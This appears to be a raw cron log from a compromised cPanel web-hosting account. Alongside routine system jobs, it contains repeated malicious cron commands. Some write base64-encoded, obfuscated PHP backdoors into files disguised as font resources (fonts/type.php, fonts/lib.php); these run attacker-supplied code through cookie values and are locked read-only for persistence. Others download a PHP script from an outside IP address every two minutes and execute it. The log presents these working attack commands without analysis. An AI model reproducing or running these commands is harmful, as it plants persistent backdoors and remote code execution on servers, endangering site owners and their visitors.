Sep 22 07:16:01 ip-184-168-122-23 CROND[12076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:16:02 ip-184-168-122-23 CROND[12079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:16:02 ip-184-168-122-23 CROND[12080]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 07:16:02 ip-184-168-122-23 CROND[12083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:17:01 ip-184-168-122-23 CROND[12223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:17:01 ip-184-168-122-23 CROND[12228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:17:01 ip-184-168-122-23 CROND[12227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:17:01 ip-184-168-122-23 CROND[12229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:18:01 ip-184-168-122-23 CROND[12422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:18:01 ip-184-168-122-23 CROND[12424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:18:01 ip-184-168-122-23 CROND[12425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:18:01 ip-184-168-122-23 CROND[12423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:18:01 ip-184-168-122-23 CROND[12426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:19:01 ip-184-168-122-23 CROND[12644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:19:01 ip-184-168-122-23 CROND[12645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:19:01 ip-184-168-122-23 CROND[12646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:19:01 ip-184-168-122-23 CROND[12647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:20:01 ip-184-168-122-23 CROND[12776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:20:01 ip-184-168-122-23 CROND[12778]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 07:20:01 ip-184-168-122-23 CROND[12784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:20:01 ip-184-168-122-23 CROND[12785]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 07:20:01 ip-184-168-122-23 CROND[12780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:20:01 ip-184-168-122-23 CROND[12781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:20:01 ip-184-168-122-23 CROND[12782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:20:01 ip-184-168-122-23 CROND[12783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:20:01 ip-184-168-122-23 CROND[12791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:21:01 ip-184-168-122-23 CROND[12915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:21:01 ip-184-168-122-23 CROND[12918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:21:01 ip-184-168-122-23 CROND[12920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:21:01 ip-184-168-122-23 CROND[12919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:22:01 ip-184-168-122-23 CROND[13080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:22:01 ip-184-168-122-23 CROND[13081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:22:01 ip-184-168-122-23 CROND[13085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:22:01 ip-184-168-122-23 CROND[13084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:22:01 ip-184-168-122-23 CROND[13083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:23:01 ip-184-168-122-23 CROND[13222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:23:01 ip-184-168-122-23 CROND[13225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:23:01 ip-184-168-122-23 CROND[13223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:23:01 ip-184-168-122-23 CROND[13226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:24:01 ip-184-168-122-23 CROND[13351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:24:01 ip-184-168-122-23 CROND[13354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:24:01 ip-184-168-122-23 CROND[13357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:24:01 ip-184-168-122-23 CROND[13358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:24:01 ip-184-168-122-23 CROND[13359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:25:01 ip-184-168-122-23 CROND[13566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:25:01 ip-184-168-122-23 CROND[13568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:25:01 ip-184-168-122-23 CROND[13570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:25:02 ip-184-168-122-23 CROND[13571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:25:02 ip-184-168-122-23 CROND[13574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:25:02 ip-184-168-122-23 CROND[13572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:26:02 ip-184-168-122-23 CROND[13684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:26:02 ip-184-168-122-23 CROND[13685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:26:02 ip-184-168-122-23 CROND[13687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:26:02 ip-184-168-122-23 CROND[13686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:26:02 ip-184-168-122-23 CROND[13690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:27:02 ip-184-168-122-23 CROND[13831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:27:02 ip-184-168-122-23 CROND[13832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:27:02 ip-184-168-122-23 CROND[13834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:27:02 ip-184-168-122-23 CROND[13836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:28:01 ip-184-168-122-23 CROND[13956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:28:01 ip-184-168-122-23 CROND[13959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:28:01 ip-184-168-122-23 CROND[13957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:28:01 ip-184-168-122-23 CROND[13958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
